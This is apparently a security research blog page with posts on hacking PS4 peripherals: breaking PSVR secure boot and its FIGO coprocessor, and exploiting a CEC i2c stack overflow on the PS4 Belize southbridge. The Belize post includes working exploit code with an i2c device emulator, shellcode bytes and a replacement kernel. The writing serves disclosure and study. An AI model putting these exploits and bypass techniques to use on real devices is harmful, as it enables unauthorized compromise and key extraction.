fail0verflow

PS4 Aux Hax 5: Flawed Instructions Get Optimized

Tue, 17 May 2022 00:00:00 +0000

Aaaand we’re back, after an extended delay, to … continue talking about hacking PS4 peripherals 😅.

This time, the DUT is the PS4 Virtual Reality peripheral: PSVR. We managed to find some major flaws - breaking secure boot and extracting all key material; let’s go!

Yet another PS4 peripheral?

Digging into the PSVR was initially done in anticipation of the PS5 release after it was announced that PS5 would maintain compatibility with PSVR, thinking it could be a possible initial entrypoint for PS5. While it didn’t wind up being used as such, it was still pretty fun to hack (sound familiar?). And who knows, maybe the attack surface is useful in some way.

PSVR Overview

A PSVR setup includes multiple components:

PSVR mainboard
PSVR headset
PS camera
Some sort of input (PS Move, PS Aim, DS4, …)
PS4/PS5 console
HDMI display output

Multiple revisions of the PSVR mainboard exist, however they all carry the same Marvell 88DE3214 SoC and share all key material (or at least, the keys relevant to PSVR). The host console is connected to PSVR mainboard via HDMI and USB, both of which wind up being processed in the Marvell 88DE3214. Under normal operation, an authentication sequence is performed over USB before the console accepts the device as a PSVR. So, the goal was to extract the secrets needed for that authentication and reverse the communication protocol. This post will mainly cover the main SoC on the PSVR mainboard, as we were interested in using secrets within PSVR to reach juicy attack surface on the host console.

At the time, the most useful teardown of the device was on 4gamer. It’s still a great resource you should check out.

We also poked around on the mainboard a bit to locate interesting components and I/O and dump eMMC. The following board scans contain some annotations:

eMMC connection:

Some things which stood out:

UART is breifly active during early boot (output only).
eMMC has easily accesible traces on both sides of the board.
eMMC content appears mostly encrypted (what is there looks android-ish).
Interfering with eMMC traces during early boot generates some additional error logs on the UART.
The Marvell 88E8080 is used for the USB connection to the host console, and is connected to 88DE3214 via PCIe.

OSS

While some of the sources for the device are published (start at the PSVR-related config - note “morpheus” is a codename referring to PSVR), the eMMC dump and UART error spew were helpful to confirm that the boot and non-linux components of the firmware running on the 88DE3214 were likely identical to other devices based on the same chip (aka BG2Q4K / Armada 1500 Pro 4K). At the time, we found the following related devices (things in this post should apply directly to them):

Retail Branding	Marketing Name	Device	Model	Kernel Source
C&M	SH950C-CM	stb_catv_cnmuhd	SH950C-CM	http://opensource.lge.com/osSch/list?types=ALL&search=SH950C-CM
KDDI	Power Up Unit	C02BB1	C02BB1	?
LGU+	U+ tv UHD	tvg2	ST940I-UP	http://opensource.lge.com/osList/list?m=Mc111&s=Sc113
LGU+	U+ tv woofer	hg2	LAP250U	kernel tgz identical to ST940I-UP
LGU+	U+ tv woofer 1.5	hg2_iot	LAP255U	kernel tgz identical to ST940I-UP

Unfortunately it seems the above links have broken over time, but you may be able to find them elsewhere.

Spelunking the old chromecast git repositories was also useful for boot and hardware information:

Power-on

The board will boot into a low-power mode as soon as power is supplied. To fully power-on, the power switch on the headset control cable must be pushed momentarily. This is pin 13 on the connector, and is also a large test pad on the other side of the board. The board can fully boot and run without heatsink but the SoC gets relatively hot.

After fully booting, the board will appear as a usb device.

Possible initial entrypoints

The HDMI ports on the PSVR mainboard for console and TV have CEC routed between them, presumably to the Marvell SoC as well. amp_devices_vpp_cec_isr in the 88DE3214 sources looks like it has same bug as PS4 EMC CEC handler. Never got around to checking if Marvell CEC hardware can buffer > 16bytes.

The kernel has USB(gadget) support enabled. The Marvell 88E8080 device is configured to act as DWC3 USB controller over PCIe (note the Armada only supports PCIe 2.0 1x). This means usb and usb-gadget stuff is exposed, as well as PCIe DMA (the Armada has no IOMMU). The driver also enables bus mastering.

The kernel has berlin ethernet support enabled, and the berlin-fe device is enabled by default. It’s likely some unpopulated pads on the board are ethernet. The marvell/geth driver is used for it.

EHCI seems enabled in kernel + dts, unsure if there are any unpopulated usb pads on the board.

PCIe hax

Clearly, the most attractive entrypoint is PCIe. Here’s what the setup looked like:

After getting the connection running, it was apparent that external PCIe devices have a surprising level of access to SoC internals. Of course, it has nearly full access to DRAM (apart from regions marked Secure for TrustZone), however it also gives access to SRAMs used during boot of the various ARM cores, SRAMs of peripheral cores, and ability to read/write any MMIO registers existing in the physical address space of the SoC. This allowed directly dumping the bootrom and reversing the secure boot implementation.

After creating some tooling to introspect and inject the running linux kernel and dump userspace processes, etc., it was evident that a TrustZone compromise would be required to get at the secrets.

Breaking TrustZone

Inspecting the TrustZone / linux interface turned up a lot of vulnerabilities. However, only one was needed to dump the secrets used for PSVR authentication.

libdrmtz.ta command 0x22 seems to be called DrmDiag_LoadArmImg and/or MV_IMAGETOOL_Decrypt_AES_FIGO. This takes the destination load address as a parameter (among others), and allows it to point into Normal World memory. Thus, encrypted ARM images can be decrypted and dumped, giving plaintext of the TAs to look for further bugs, in addition to any secrets which may be leaked by having decryption oracle access to TrustZone binaries.

As it turned out this was already enough to recover secrets used by PSVR, as they are contained within TAs and do not rely on hardware secrets.

However, it is possible to go further and dump all hardware secrets and compromise the root of trust. To that end, it’s interesting to note that libdrmtz.ta also contains the symbol rom_figo_figo which seems to be a non-production version of the IROM of the “FIGO”. It seems like a variable which is intended to be compiled out in release builds, but the compiler has not actually excluded it in this case. One of the FIGO DROM keys is also in the binary (also unused): g_puROMKey is the key stored at FIGO_BASE+0x56d0 which gets used as KEK id 0x10.

Onto FIGO

The FIGO (“Flow Instructions Get Optimized”; what a great name) is the secure coprocessor resident in the SoC. While it doesn’t directly control secure boot, it does authenticate / decrypt loaded images and can be used to house and derive key material within it’s own secluded part of the SoC. While it has IROM, DROM, fuses, crypto, etc. peripherals, it also has DRAM (of course) and IRAM to support loading and executing firmware at runtime. These firmwares tend to be relatively small and handle a limited set of responsibilites per image.

The FIGO is quite interesting as it runs a unique instruction set (nicely for us, documented in some of the publicly available code from chromecast, etc.) and of course, because it hides somewhat-better protected secrets 😆 A (dis)assembler for FIGO code can be found here.

An important architectural fact to note is that the FIGO hardware block contains an MPU which allows the FIGO to protect subregions of its MMIO space from external access. Subregions can be disabled, read-only, write-only, or read-write to the world outside of FIGO. Normally, FIGO IROM and firmwares use this to prevent secrets being directly read from its various memories and peripherals (otherwise, we could just dump most FIGO secrets directly from external PCIe device!).

Shoving firmware into FIGO

Before getting into the actual FIGO vulnerabilities, it is worth mentioning another design flaw in TrustZone code. Normally, after TrustZone has been initialized and FIGO setup for runtime usage, it is intended that FIGO is not directly accessible to Normal World. Instead, TrustZone wraps functionality which may be implemented in FIGO modules and dynamically loads / calls into the modules as needed. This dynamic loading calls MV_DRMLIB_GetFIGOFW to retrieve a buffer containing firmware which will be sent to FIGO IROM for authentication and execution on the FIGO. Internally, MV_DRMLIB_GetFIGOFW looks up a pointer into a previously-loaded array of FIGO firmwares residing in Normal World memory. It could be argued this is secure as the FIGO should be authenticating the images in the first place, however it needlessly exposes attack surface. As we’ll show, it can be used to exploit the FIGO from Normal World.

DrmDiag_OTPRead exposes a good way to abuse this functionality as it has minimal side effects. Essentially, the FIGO image in Normal World DRAM can be updated by our PCIe device, then the PCIe device can cause Normal World kernel to call DrmDiag_OTPRead which will try to load and execute the arbitrary data supplied from Normal World as FIGO firmware. Combined with the PCIe device’s access to MMIO, this removes the need to fully take over Secure World in order to attack the FIGO.

Racing the FIGO

When initially trying to understand how FIGO loads and authenticates FIGO firmware, it was observed that while IROM is processesing an image load request, some parts of the FIGO DRAM would be deprotected in the MPU and visible to our PCIe device. Specifically, the image format processed by the IROM has a header containing a rfc3394-wrapped key. The IROM stores data used to perform the AES unwrap at FIGO_BASE+0x1980 which is visible in the MMIO mapping to our PCIe device as the IROM processes it. This unwrapped key is used to decrypt the body of the FIGO firmware image, which allowed us to decrypt and start reversing some FIGO firmware.

Pwning FIGO IROM

The FIGO image header describes 2 load sections, one for each IRAM and DRAM.

// @ +0x78 in FIGO image header
// count of 4byte instructions
u16 ins_cnt;
u16 pc_offset;
// count of 8byte data
u16 dat_cnt;
// DRAM load addr / 8
u16 dat_offset;

While the IRAM destination address is assumed to be IRAM+0, the DRAM offset is configurable. What happens if we just bruteforce offsets in DRAM until we hit where IROM stack must be? (At this point, we didn’t yet have a way to see the IROM or stack contents)

That’s right, we get ROP in IROM context!

From reversing the FIGO firmwares we had decrypted at this point, we were able to construct a little shellcode to dump all the fuses. We also reconfigured the MPU to drop all protections, enabling direct dumping of full IROM and DROM (which also stores some keys) from PCIe 🤘

FIGO IROM, again!

Let’s present our re-implementation of the image authentication and decryption which matches behavior of FIGO IROM. Do you see the problem?

def img_decrypt_and_verify(data):
    kek_id, _, key_wrapped = struct.unpack_from('<II24s', data, 0)
    sign_id, sign_type, sig_len, msg_digest, bind_info = \
        struct.unpack_from('<IHH32s16s', data, 0x40)

    # hueristic using figo insn fields
    img_type = IMG_TYPE_ARM if all_zero(data[0x78:0x7c]) else IMG_TYPE_FIGO
    img_len, enc_len = 0, 0
    if img_type == IMG_TYPE_ARM:
        img_len = struct.unpack_from('<I', data, 0x7c)[0]
        enc_len = align_up(img_len, 0x10) - 0x300
    else:
        ins_cnt, pc_offset, dat_cnt, dat_offset = \
            struct.unpack_from('<HHHH', data, 0x78)
        ins_len = ins_cnt * 4
        dat_len = dat_cnt * 8
        dat_load_addr = dat_offset * 8
        enc_len = img_len = align_up(ins_len, 0x20) + align_up(dat_len, 0x10)

    key = None
    if kek_id in (0x80, 0x81):
        for kek in iter_customer_kek(kek_id):
            key = aes_unwrap(kek, key_wrapped)
            if key is not None: break
    else:
        kek = kek_id_to_kek(kek_id)
        if kek is None:
            print('kek lookup failed. kek_id %02x' % (kek_id))
            return None

        key = aes_unwrap(kek, key_wrapped)
    if key is None:
        print('unwrap failed. kek_id %02x wrapped %s' % (
            kek_id, key_wrapped.hex()))
        return None

    if sign_type != 2:
        print('unexpected sign type %d' % (sign_type))
        return None
    if sig_len != 0x100:
        print('unexpected sig len %d' % (sig_len))
        return None

    hdr_signed = data[0x68:0x280]
    payload = aes_cbc_iv_zero_decrypt(key, data[0x380:0x380 + enc_len])

    # signing key id 2 should match otp:28, but w/e
    #sha256(e+n).digest() == sign_key_digest
    e = data[0x80:0x180]
    n = data[0x180:0x280]
    sig = data[0x280:0x380]
    signed_img = hdr_signed + payload
    signed_len = len(signed_img) & 0xffff
    if not img_rsa_verify(signed_img[:signed_len], sig, e, n):
        return None

    return payload

… yes, the RSA verification (RSA PSS w/SHA256) does 16bit truncation when calculating the payload size! This means that if there exist any images (including, say, ARM TrustZone TAs) larger than 0xffff bytes, in order to pass signature check on FIGO hardware, they must be signed in such a way that likely a large percentage of the payload can actually be freely modified without causing the signature check to fail. There are indeed such images in PSVR firmware 😱.

Appendix

Some more old notes that might be useful 🤷

Filesystems

Part	Name	XTS Key	Notes
boot0, boot1			bootloader files with fallback partition
p1	fts		Android-style key-value storage for environment
p2	factory_setting	factory_setting_key.bin	Global and per-device key stores, all encrypted per-device
p3	tzk_recovery		FIGO image (recovery TZK and TZBP)
p4	recovery		FIGO image (recovery bootimg)
p5	tzk_normal		FIGO image (TZK and TZBP)
p6	boot		FIGO image (bootimg)
p7	rootfs	rootfs_key.bin
p8	firmware	firmware_key.bin	Empty linux-firmware tree
p9	trusted_storage	ta_storage_key.bin	Unused, but seems to have garbage in non-allocated sectors
p10	rootfs_2	rootfs_key.bin	rootfs fallback
p11	boot_2		FIGO images (boot fallback)
p12	cache	cache_key.bin	Empty
p13	tzk_normal_2		FIGO images (tzk_normal fallback)
p14	firmware_2	firmware_key.bin	linux-firmware fallback
p15	userdata	userdata_key.bin	Contains persisted runtime logs
p16	factory_fw	factory_fw_key.bin	Stores DFU files for provisioning

PS4 Aux Hax 4: Belize via CEC

Sat, 03 Nov 2018 00:00:00 +0000

This post describes another way to attain code execution on Aeolia (actually, the southbridge revision on PS4 Pro which was used in this case is named “Belize”).
This exploit differs from the previously documented method as it does not have the prerequisite of gaining control of the APU. Additionally it is fairly generic and therefor workable on all currently released hardware and software versions of PS4.

From Aeolia to Belize

Previously, we have attained permanent code exec on the southbridge on the SAA-001 motherboard. This chip is marked as CXD90025G (referred to as Aeolia internally) and constitutes the first production version. As mentioned in previous posts in this series, there have been many revisions of the PS4, and it makes sense to assume more recent hardware includes more advanced security features. With the original Aeolia owned, it was possible to examine the EMC and EAP firmware and look for vulnerabilities which would allow a more direct attack on the successive hardware revisions. Specifically, the target was the southbridge on the most recent (at the time) PS4 Pro NVB-003 motherboard: marked CXD90046GG and named Belize. From reversing the Belize driver in the x86 FreeBSD kernel, it could be seen that the device was functionally mostly identical to Aeolia. For our purposes, “Aeolia” and “Belize” are interchangeable, so keep that in mind while reading this post.

Sidenote: NVB-003 contains a cost-reduced version of syscon, marked as A05-C0L2. This chip can be pwned exactly the same as the original version, so there will be no further post about that.

Common attack vectors

To bridge the gap between Aeolia and Belize, it is helpful to understand the execution flow on Aeolia, up to the point the “Rest Mode” kernel runs: While the EMC IPL and EAP KBL are both encrypted with keysets unique to each southbridge hardware revision and stored in sflash, the EAP FreeBSD kernel is stored on the hard drive and there exists only one version - meaning the key is shared between all hardware revisions. Since we can decrypt the entire boot chain used by the original Aeolia, we can recover the static keys used to encrypt and (HMAC) sign the FreeBSD kernel. By doing so and replacing the EAP kernel partition of the HDD, we easily gain EAP kernel code exec on any Aeolia or Belize southbridge revision.

While this is already quite nice, the goal is to get code exec on EMC. The EAP runs entirely from external DDR3 memory, while EMC executes only from internal SRAM. However, experimentation with Aeolia showed that EMC is actually capable of executing instructions out of the DDR3 as well. This massively simplifies generic exploitation of EMC since the address range of DDR3 is well known, and given EAP code exec, the content can be arbitrarily controlled. All that’s needed is a way to make EMC start executing instructions from DDR3 - the rest is simple.

To fulfill the wish of owning EMC without needing the APU to be compromised, other interactions between EMC firmware and external interfaces were checked for bugs. Surprisingly, a bug straight out of the 90s fell out during this investigation: a stack buffer overflow, with return address in range, and fully controlled contents. Even more amusingly, the bug is in the HDMI-CEC code, which makes this the first “real” CEC exploit I’m aware of, despite the numerous publications which exist for some years already… (OK, technically the bug concerns CEC-over-i2c, but still!).

The bug

The vulnerability, as seen in the Aeolia firmware, is as follows:

int I2cRead(void *iface, unsigned int addr, u8 reg, void *dst, int len);

int getRecvMsg(cec_task_t *a1, void *a2) {
  return I2cRead(a1->i2c_iface, 0x7Au, 0x62u, a2, 1);
}

int cec_recv_msg(cec_task_t *a1, u8 *msg, unsigned int len) {
  unsigned int i; // r4
  int v7; // r0
  unsigned int j; // r4
  int dst; // [sp+4h] [bp-24h]

  v7 = 0;
  for (i = 0; i < len; i = (u8)(i + 1)) {
    v7 = I2cRead(a1->i2c_iface, 0x7Au, 0x61u, &dst, 1);
    if (v7) {
      print_nop("Cec Recv Err:%8lx\n", v7);
      return v7;
    }
    msg[i] = dst;
  }
  if (g_cec_log == 1) {
    ucmd_printf("[CEC] R:");
    for (j = 0; j < len; j = (u8)(j + 1)) {
      ucmd_printf("%2x", msg[j]);
    }
    ucmd_printf("\n");
  }
  return v7;
}

int doRecvInterruptEvent(cec_task_t *a1, int state) {
  int v4; // r0
  int v5; // r1
  const char *v6; // r0
  int mode; // r5
  int result; // r0
  int v9; // r0
  u8 msg[20]; // [sp+4h] [bp-34h]
  u8 len; // [sp+18h] [bp-20h]
  u8 total_msg_len; // [sp+1Ch] [bp-1Ch]

  bzero(msg, 0x14u);
  len = 0;
  total_msg_len = 0;
  v4 = cec_read_errcode(a1);
  v5 = v4;
  if (v4 && v4 != 15) {
    v6 = "_doRecvInterruptEvent,  err:%2x\n";
  } else {
    switch (state) {
      case 1:
        mode = 2;
        break;
      case 2:
      case 3:
        mode = 1;
        break;
      case 4:
      case 5:
        mode = 0;
        break;
      default:
        return -1;
    }
    v5 = getRecvMsg(a1, &total_msg_len);
    if (v5 || !total_msg_len) {
      v6 = "_getRecvMsg, Total Msg Len 0 or Err: 0x%8lx\n";
    } else {
      while (1) {
        print_nop("_getRecvMsg, Total Msg Len : 0x%2x\n", total_msg_len);
        v5 = I2cRead(a1->i2c_iface, 0x7Au, 0x63u, &len, 1);
        if (v5)
          goto LABEL_14;
        if (total_msg_len < (unsigned int)len)
          break;
        print_nop("_getRecvMsg, Msg Len : 0x%2x\n", len);
        //
        // XXX oops! length is up to 0xff here (both `total_msg_len` and `len`
        // are controlled). This will write off the end of `u8 msg[0x14]` with
        // data read directly from i2c.
        //
        v5 = cec_recv_msg(a1, msg, len);
        if (v5)
          goto LABEL_14;
        if (len && len <= 0x11u) {
          v9 = CecAn_analyzeMessage(a1->field_14, mode, msg, len);
          if (v9 == 1) {
            sendCecMsgReceiveEventNotify(a1, msg, len);
          } else if (v9 == 5) {
            cec_event_flg_set(a1, 1024);
          }
        } else {
          print_nop("CecCommEvent_InterruptReceiveMsg, len:0x%2x\n", len);
        }
        result = getRecvMsg(a1, &total_msg_len);
        if (result) {
          v5 = result;
LABEL_14:
          v6 = "_getRecvMsg, Reg Err : 0x%8lx\n";
          goto LABEL_18;
        }
        if (!total_msg_len)
          return result;
      }
      v5 = len;
      v6 = "_getRecvMsg, Err, msg_len : 0x%2x\n";
    }
  }
LABEL_18:
  print_nop(v6, v5);
  return -1;
}

while this seems nice and easy, reaching the code is a bit tricky:

HDMI must be active, with CEC enabled.
The code runs only in response to some interrupt being generated from the HDMI encoder.
Boards with Belize have a different model of HDMI encoder than the original Aeolia. This could result in the bug being fixed accidentally, the code looking completely different, or even removed altogether.

Reaching the bug

The first condition required for the code path to be reachable is that HDMI-CEC is enabled and active. While it is possible to force this condition using icc commands from EAP to EMC, it is much simpler (in that it doesn’t require writing any code) to just boot the APU and ensure [Enable HDMI Device Link] is enabled in the settings. The APU needs to be cycled in any case in order to start Rest Mode - which will execute our custom EAP kernel.

Dealing with i2c

The second and third issues were resolved in the process of creating a way to talk with the CEC interface of Belize.

The original idea was to man-in-the-middle the i2c by corrupting the address bits as they were shifted out of Belize (which would cause the HDMI encoder to not recognize it was the targeted device), and then handle the data transfer with my own device. However this wound up not working. As it turns out, the i2c interface of EMC is built to detect such contention and will immediately stop driving the bus. This wasn’t completely unexpected - to workaround it, I just found the power switch used by syscon to control the HDMI encoder and forcably disable it when I’d like to take over the bus. This is not as clean - it requires rebooting the HDMI encoder and Belize to recover sanity - but hey, it works.

As mentioned, the vulnerable code is run in response to a certain interrupt event. By probing i2c and pulling down various nearby pins of the HDMI encoder, it was easy to determine that there is a dedicated trace for the general interrupt event. When responding to this event, the EMC firmware will read some registers of the HDMI encoder in order to discover the pending interrupts. Eventually, the buggy code will be invoked if the proper interrupt is pending (it’s named HDMI_INTRID_CECRX).

By comparing logic analyzer traces of the HDMI encoder used by original Aeolia (Panasonic MN86471A) to that used by Belize (Panasonic MN864729), it could be seen that the register layout had changed slightly, but it was a simple matter to determine the registers and values required to mount the attack in the Belize/MN864729 environment. A quick test to try crashing EMC via too-long CEC buffer worked, so issue #3 was taken care of as well.

Hardware setup

For Belize, the setup looks like:

Exploitation

On the device simulating the HDMI encoder, the following code is run. This is a simple state machine which serves only to redirect EMC’s program counter to 0x61616161. This address was chosen just in case there is some unknown misalignment going on - no matter which offset the return address is read from, it will always point to 0x61616161 (which is in EMC’s view of DDR3).

struct DevEmu {
    void StartCondition();
    u8 Read(u8 addr);
    void Write(u8 addr, u8 val);
    u8 dev10_regf2{};
    u8 irq_status{};
    u8 irq_mask{};
    u8 msg_buf[0xfe]{};
    u8 msg_pos{};
    u8 msg_len{};
    u8 reg{};
    size_t pos{};
    std::function<void(bool)> set_irq;
};

void DevEmu::StartCondition() {
    pos = 0;
}

// Note: this only simulates MN864729
u8 DevEmu::Read(u8 addr) {
    size_t pos_ = pos++;
    switch (addr) {
    case 0x10:
        // irq stuff
        switch (reg) {
        case 0xf2: return dev10_regf2;
        case 0xf4: return 0xa0;
        // hdmi irq 18 is 0x10
        case 0xf7: return irq_status;
        case 0xfa: return 0x0f;
        case 0xfc: return 0x50;
        case 0xff: return irq_mask;
        }
    case 0x80:
        // cec buffers
        switch (reg) {
        // rx fifo
        case 0x61: {
            u8 val = msg_buf[msg_pos];
            if (pos_ == 0 && msg_pos < sizeof(msg_buf)) {
                // ignore over-read generated by fpga
                msg_pos++;
            }
            return val;
        }
        // total msg len
        case 0x62: return msg_len - msg_pos;
        // msg len
        case 0x63: return msg_len - msg_pos;
        // error code
        case 0x69: return 0;
        }
    }
    return 0;
}

void DevEmu::Write(u8 addr, u8 val) {
    size_t pos_ = pos++;
    if (pos_ == 0) {
        reg = val;
        return;
    }
    switch (addr) {
    case 0x10:
        switch (reg) {
        case 0xf2:
            dev10_regf2 &= ~val;
            break;
        case 0xf7:
            irq_status &= ~val;
            set_irq(irq_status & 0x10);
            break;
        }
    }
}

void CecHax::Enable(bool enable) {
    if (enable) {
        // Disable power to real HDMI encoder
        gpio.Set(Gpio::kLow);
        // Enable our hardware
        csrs.Write(i2c_enable, 1);
        // Trigger IRQ to EMC
        csrs.Write(irq_n, 0);
    } else {
        csrs.Write(irq_n, 1);
        csrs.Write(i2c_enable, 0);
        //gpio.Set(Gpio::kHigh);
    }
}

bool CecHax::HasError() {
    CSRValue err;
    csrs.Read(i2c_error, &err);
    return err != 0;
}

void CecHax::Run() {
    dev_emu.set_irq = [this](bool enable) {
        csrs.Write(irq_n, enable ? 0 : 1);
    };
    dev_emu.dev10_regf2 = 0x62;
    dev_emu.irq_status = 0b00010000;
    dev_emu.irq_mask   = 0b11010000;
    dev_emu.msg_len = 0x60;

    auto p = (u32 *)dev_emu.msg_buf;
    for (size_t i = 0; i < dev_emu.msg_len / sizeof(u32); i++) {
        *p++ = 0x61616160|1;
    }

    Enable(true);
    while (!HasError()) {
        CSRValue val;
        csrs.Read(i2c_event, &val);
        if (val & kStart) {
            dev_emu.StartCondition();
            csrs.Write(i2c_event_clr, 1);
        }
        if (val & kHolding) {
            CSRValue addr;
            csrs.Read(i2c_cur_addr, &addr);
            bool is_read = addr & 1;
            addr &= ~1;
            if (is_read) {
                // read - send byte
                val = dev_emu.Read(addr);
                csrs.Write(i2c_dout, val);
            } else {
                // write - recv byte
                csrs.Read(i2c_din, &val);
                dev_emu.Write(addr, val);
            }
            csrs.Write(i2c_event_clr, 1);
            printf("%02x:%c.%x %02x\n", addr, is_read ? 'r' : 'w',
                dev_emu.pos, val);
        }
    }
    Enable(false);
}

The following code replaces the entire EAP kernel. The emc_shellcode section will be loaded to the desired address (which EMC will return to) in DDR3 by the ELF loader in EAP KBL. All the EAP code does is wait for EMC to execute the dumper shellcode, then repeatedly spews the result out of UART.

/*
arm-none-eabi-gcc -std=gnu11 -nostdlib -T eap_kernel.ld -o eap_kernel eap_kernel.c
arm-none-eabi-strip --strip-unneeded eap_kernel
*/
typedef unsigned char u8;
typedef unsigned int u32;
typedef volatile u32 vu32;
typedef u32 size_t;

// used by emc ucmd
#define EAP_UART0_BASE 0xBF240000
// uart1 is port x86 soc uses too
#define EAP_UART1_BASE 0xBF340000
#define EAP_DDR3_BASE 0xc0000000
#define EAP_SHARED_BUF (EAP_DDR3_BASE + 0x01000000)
#define EMC_DUMP_START 0x100000
#define EMC_DUMP_END 0x160000
#define EMC_DUMP_LEN (EMC_DUMP_END - EMC_DUMP_START)

static void uart_write_byte(u8 val) {
    vu32 *dat    = (vu32 *)(EAP_UART1_BASE + 0x00);
    vu32 *status = (vu32 *)(EAP_UART1_BASE + 0x14);
    while (!(*status & 0x40));
    *dat = val;
}

static void uart_write_str(const char *str) {
    while (*str) {
        uart_write_byte(*str++);
    }
}

static void hexdump(const void *buf, size_t len) {
    const u8 *p = buf;
    const char *lut = "0123456789abcdef";
    for (size_t i = 0; i < len; i++) {
        if (i > 0 && (i & 0xf) == 0) {
            uart_write_byte('\n');
        }
        u8 val = p[i];
        uart_write_byte(lut[val >> 4]);
        uart_write_byte(lut[val & 0xf]);
    }
}

// EMC code
// EAP 0xc0000000 = 0x60000000 in EMC space
// Will be placed by elf loader (eap_kbl)
static const u8 dumper[] __attribute__((section("emc_shellcode"))) = {
    0x5F, 0xF4, 0x80, 0x10, 0x40, 0xF2, 0x00, 0x01,
    0xC6, 0xF2, 0x00, 0x11, 0x40, 0xF2, 0x00, 0x02,
    0xC0, 0xF2, 0x16, 0x02, 0x03, 0x68, 0x0B, 0x60,
    0x04, 0x30, 0x04, 0x31, 0x90, 0x42, 0xF9, 0xD1,
    0x40, 0xF2, 0x00, 0x00, 0xC6, 0xF2, 0x00, 0x10,
    0x4C, 0xF2, 0xDE, 0x01, 0xC1, 0xF2, 0x37, 0x31,
    0x40, 0xF8, 0x04, 0x1C, 0xFE, 0xE7
};

// SCTLR &= ~(I|C|M)
static void disable_caches_and_mmu() {
    asm volatile(
        "mrc     p15, 0, r6, c1, c0, 0;"
        "bic     r6, r6, #0x1000;"
        "bic     r6, r6, #4;"
        "bic     r6, r6, #1;"
        "mcr     p15, 0, r6, c1, c0, 0;"
        :
        :
        : "r6"
    );
}

// (old) gcc is really dumb, must define arm->thumb target like so
typedef void (*icc_watchdog_stop_wdt_t)();
static const icc_watchdog_stop_wdt_t icc_watchdog_stop_wdt =
    (icc_watchdog_stop_wdt_t)(0xC0010880|1);

void _start() {
    uart_write_str("go\n");
    
    icc_watchdog_stop_wdt();
    disable_caches_and_mmu();

    vu32 *shared_buf = (vu32 *)EAP_SHARED_BUF;
    vu32 *magic = &shared_buf[-1];
    *magic = 0;
    uart_write_str("EAP running\n");
    while (*magic == 0);
    for (size_t i = 0; i < 10000; i++) {
        uart_write_str("\ndump:\n");
        hexdump((void *)EAP_SHARED_BUF, EMC_DUMP_LEN);
    }
    while (1);
}

And the related linker script:

ENTRY(_start)
SECTIONS {
    eap 0xc0100000 : {
        *(.text*)
        *(.rodata*)
    }
    emc 0x61616160 + 0x60000000 : {
        *(emc_shellcode)
    }
    /DISCARD/ : { *(*) }
}

So, the overall process is like:

Tap onto CEC-related i2c and irq lines and HDMI encoder power switch
Power up PS4 and enter Rest Mode
Wait for “EAP running” message from custom EAP kernel
Induce the CEC RX interrupt
Feed data to EMC such that it causes a stack buffer overflow
Wait for EMC to copy SRAM to DDR3
Dump copied SRAM out of UART

Of course, this is really EMC code exec, so the dumping is just something to do after the fact :)

Parting thoughts

This post outlines a way to dump EMC firmware and gain EMC code exec on any hardware revision. While the real root keys (in fuses and ROM) of EMC versions besides the first are still unknown, they could yet be recovered with side channel attacks, if someone really wanted them. Since this method is comparatively much more simple and more generic, it stands on its own as an interesting exploit.

As was hinted at, the CXD90046GG version of EMC employs slightly better security practices. The EMC ROM now wipes the SRAM space used as stack during initial key derivation, and some as-of-yet unknown method is used to unmap the ROM, mitigating it being dumped simply by reading from address 0x00000000. Again, it is likely the key material could still be recovered - if someone cares - but it’s interesting to see that such changes made their way into hardware between revisions.

PS4 Aux Hax 3: Dualshock4

Mon, 30 Jul 2018 02:00:00 +0000

In the PS4 Aux Hax series of posts, we’ll talk about hacking parts of the PS4 besides the main x86 cores of the APU.
In this entry, we’ll step outside of the PS4 itself, and take a look at pwning the main handheld controller used by the system.

Pwn a controller, what?

The Dualshock4 initially came to my attention while looking through the x86 FreeBSD kernel. Parts of the driver stack used to communicate with peripherals are implemented in the kernel - even apart from the bluetooth/USB stacks upon which the functionality relies. In addition, the peripheral drivers track if each device has passed an authentication step or not (apparently to differentiate 1st-class peripheral citizens from lowly generic USB keyboards and such). Since this authentication involves verifying a RSA signature from the device, merely having a x86 kernel dump is not enough to exercise these code paths as there is no shared secret to use. I thought authenticated devices would allow access to a less picked-over kernel attack surface, so set out to acquire enough information from a peripheral such that I could authenticate with a real secret, and then run a fuzzer over the resulting communication channel. While I never got around to the fuzzer, I did pwn the controller with a technique that’s probably applicable to a wide range of FM3/FM4 microcontrollers.

Inspecting JDM-001

Some initial recon shows there are actually two different models (CUH-ZCT1U and CUH-ZCT2U), and at least ZCT1U has a few motherboard revisions under it’s belt. For similar reasons outlined in the first post in this series, I’ve picked the first revision to examine.

Nice motherboard pictures of some DS4 revisions were already available. Specfically we’re interested in JDM-001, which looks like this: It’s a bit hard to see here, but the main MCU is marked MB9BF002A - so it’s a device in the FM3 family (which now belongs to Cypress). There’s an unpopulated header marked uP which is probably used for debugging the MCU - the manuals for this processor family indicate SWD is the supported debug interface. However I didn’t get any interesting singals out of the uP header, and could not find a way to access the SWD interface. After digging through the manual some more, a section detailing MD0 and MD1, which are marked on the board nearby uP, caught my eye:

MD1	MD0	Operating Mode
-	0	User Mode Internal ROM (Flash Memory) Startup
0	1	Serial Writer Mode
1	1	Setting is prohibited

Taking a closer look at JDM-001, it can be seen that both are pulled down (thus it will boot from internal flash), and there’s obviously an unpopulated switch of some type: After reading up on the serial programming mode, it became clear that this mode must boot the MCU into some other part of the bootrom which then provides some commands over serial or USB allowing flash access. As a test, I tried toggling the MCU reset signal (also nicely labelled on the board) with MD0 connected to the nearby Vcc. The DS4 did not resume gamepad operation normally, and plugging it into a USB host showed a new USB descriptor.

Serial pwning mode

When looking into how USBDirect (the current offical flashing tool from Cypress) worked, it could be seen initially transferring a code blob to SRAM and then just communicating with that blob to actually interface with flash. This code blob is what implements all of the useful functionality for flashing a device. Luckily, an open source replacement for this code blob exists, so it’s quite easy to make modifications to the blob and hack around.

As the DS4 contains some cryptographic secrets, it’s understandably been locked down in an effort to prevent leaking the secrets out. And yet, we have the ability to freely load and execute any code in SRAM. It turns out the FM3 family implements flash read protection, which should keep the contents of flash secret even in these circumstances. According to the manual:

Mode	MD	Chip Erase	Other Commands	Read	Access via JTAG
User	00	Enabled	Enabled	Valid data	Disabled
Serial	01	Enabled	Disabled	Invalid data	Disabled

And so, as expected, attempting to simply read out the flash contents from the serial programming mode results in invalid data (all-0xff). Some other sneaky ideas were tried, like using DMA engines to access flash, etc. but nothing resulted in successful flash accesses.

Defeating read protection

